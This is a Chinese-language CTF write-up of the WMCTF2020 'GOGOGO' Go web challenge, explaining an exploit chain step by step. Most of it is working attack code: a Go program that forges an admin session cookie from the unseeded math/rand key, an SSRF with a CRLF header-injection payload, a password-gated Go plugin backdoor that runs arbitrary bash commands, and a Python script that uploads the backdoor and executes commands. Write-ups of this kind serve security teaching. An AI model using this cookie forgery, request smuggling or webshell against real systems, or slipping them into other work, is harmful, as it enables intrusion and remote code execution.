WMCTF2020 - GOGOGO WriteUp
0x00 前言
一道go Web CTF赛题分析(获取管理员权限为非预期解)
赛题来源: WMCTF2020
赛题环境下载: https://mega.nz/file/YIQxVKqA#eaGTWA6yqq_PGj9I5T3dLbbHCOkI6p1a8ArwlKDp6Ws
0x01 题目逻辑分析
- main函数初始化了数据库以及调用
loadPulgin
载入plugin,同时声明了相关的路由。 - handler中定义了路由处理的方法,包括登录注册等等。
- utils中定义了一些函数,hash,随机数生成以及用户权限控制等。
- admin_handler中,引入了
Plugin
库,并且可以上传自己的plugin载入。
思路构造
- 得到管理员权限
- 绕过本地ip限制
- 上传自己编写的恶意plugin
- 执行plugin中的函数,getshell。
0x02 伪随机数漏洞
该题中使用go的Math/rand
包 生成16位的伪随机数作为Cookie的key。
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
......
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
从官方文档中可以看到,当使用math/rand
且并未调用Seed
函数时,默认随机数种子为1。
并且看adminRequired
函数
func adminRequired() gin.HandlerFunc {
return func(c *gin.Context) {
s := sessions.Default(c)
if s.Get("uname") == nil {
c.Redirect(302, "/auth/login")
c.Abort()
return
}
if s.Get("uname").(string) != "admin" {
c.String(200, "No")
c.Abort()
}
c.Next()
}
}
判断是否为管理员的方法是从session
中取出uname
键是否等于"admin",因此我们可以考虑伪造Cookie,将Cookie中的uname改为admin,从而取得管理员权限。
0x03 伪造Cookie
通过上面的分析我们知道,题目环境的随机数种子为1,且题目中只调用一次rand.Read
,因此我们只要在本地调用该方法生成相应的随机数,并且使用gin框架的session,生成一个uname为admin的Cookie 即可。
exp如下:
// 伪造 cookie
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"math/rand"
)
func main() {
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/a",cookieHandler)
r.Run("0.0.0.0:8002")
}
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
s.Set("uname", "admin")
s.Save()
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
访问 http://localhost:8002/a
拿到Cookie
o=MTU5NjM3MTY0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT188jOx2R2JGZyq_46KCoFaijFAMQBa5BqQNC3jCBB40uE=
带上Cookie访问,成功获取管理员权限。
0x04 SSRF + 任意文件读取
查看源码发现,admin_handler
中加载的base.so
文件,存在两个方法
1. func Req(string) ([]byte, error) // http request
2. func Read(string) ([]byte, error) // read file
通过注释,可以知道Req方法用于发送http请求,Read方法则是用于读取文件。
因此该处存在SSRF和任意文件读取漏洞。
通过SSRF漏洞,我们能够绕过上传功能对于ip来源的限制
但是调用上传函数的是POST路由,因此我们要想办法利用SSRF发送POST请求。
0x05 go version <=1.11 net/http CRLF漏洞
参考github issue https://github.com/go/go/issues/30794
低版本go net/http 库存在CRLF漏洞,攻击者能够通过该漏洞构造任意的HTTP请求。
通过任意文件读取漏洞,我们可以尝试读取 /proc/self/environ
发现后端go使用的是 1.9.7
版本,因此存在CRLF漏洞。
由于插件中的Req
方法能够造成SSRF,且能够访问任意站点,因此猜测base.so中使用了 net/http
库发送GET请求,参数为arg
。
构造CRLF Payload
在VPS上起一个web服务器,接受来自目标机子的请求,可以发现,成功的发送了POST请求。
至此,成功的绕过了IP来源的限制,调用 uploadPluginHandler
。
分析上传逻辑:
- 上传文件的大小不得超过10M。
- 上传的文件需要十六进制编码。
- 文件名需要通过
isValid
校验。
因此我们可以构造一个文件上传的请求,参数为plugin
。
POST /admin/upload HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: o=MTU5NjM3MTY0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT188jOx2R2JGZyq_46KCoFaijFAMQBa5BqQNC3jCBB40uE=
Content-Length: 8306529
Content-Type: multipart/form-data; boundary=b535041726096e1f0947869d1c0c073b
--b535041726096e1f0947869d1c0c073b
Content-Disposition: form-data; name="plugin"; filename="base.so"
74686973206973206120746573742066696c65
--b535041726096e1f0947869d1c0c073b--
可以发现成功的上传文件,覆盖了原有的 base.so
且由于base.so中的内容无意义,导致500
出现500则表明上传已经成功。
0x06 编写编译 base.so
使用 go 1.9.7版本编译base.so,其文件内容如下:
我们需要写一个go的后门,能够任意执行我们的命令: 为了不被别人骑马上马,设置了一个密码
package main
import (
"os/exec"
)
func Read(arg string) ([]byte, error) {
auth := arg[:7]
cmd := arg[7:]
if auth == "funnygo" {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
//恢复
re := exec.Command("bash", "-c", "cp /tmp/base.so plugins/base.so")
re.Run()
if err != nil {
return nil, err
}
return output, nil
}
return nil, nil
}
func Req(arg string) ([]byte, error){
return nil, nil
}
编译一份linux下的.so文件:
go build -o base.so -buildmode=plugin plugin.go
使用python对base.so
二进制文件进行十六进制编码:
import sys
if __name__ == '__main__':
arg = sys.argv[:]
with open(arg[1], 'rb') as fd:
s = fd.read()
sys.stdout.write(s.hex())
python3 hex.py base.so > base.hex
0x07 上传.so 插件
由于.so二进制文件编码后很大,因此使用python脚本进行构造payload并上传
from requests import Session
s = Session()
headers = {
'Cookie': 'o=MTU5NjM3MTY0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQWNBQlhWdVlXMWxCbk4wY21sdVp3d0hBQVZoWkcxcGJnPT188jOx2R2JGZyq_46KCoFaijFAMQBa5BqQNC3jCBB40uE='
}
def upload(url):
with open('poc1', 'rb') as fd:
arg = fd.read()
data = {
'fn': 'Req',
'arg': b"http://127.0.0.1/?a=1 HTTP/1.1\r\nX-injected: header\r\nHost: 127.0.0.1\r\n\r\n"+arg
}
r = s.post(url, headers=headers, data=data)
return r
def run_cmd(url, cmd):
cmd = 'funnygo' + cmd
data = {
'fn': 'Read',
'arg': cmd
}
r = s.post(url, headers=headers, data=data)
return r
def get_upload_req(filename):
url = 'http://127.0.0.1/admin/upload'
files = {
'plugin': open(filename, 'r')
}
r = s.post(url, files=files, headers=headers)
return r
url = 'http://10.211.55.4/admin/invoke'
r = upload(url)
print(r.text)
print(r.status_code)
r = run_cmd(url, 'whoami')
print(r.status_code)
print(r.text)
poc1中的内容则是CSRF需要发送的POST请求
同时发现后端base.so文件已经被成功覆盖
且已经成功执行命令 whoami
0x08 总结
go语言虽说十分安全,但是在程序员编写不当的情况下,依然会出现安全问题,例如这道CTF题,利用多个漏洞组合成功拿下系统的shell。并且这道题利用go写入"webshell",虽然利用条件苛刻,但给了静态编译型语言作为web后端写入shell的一个思路。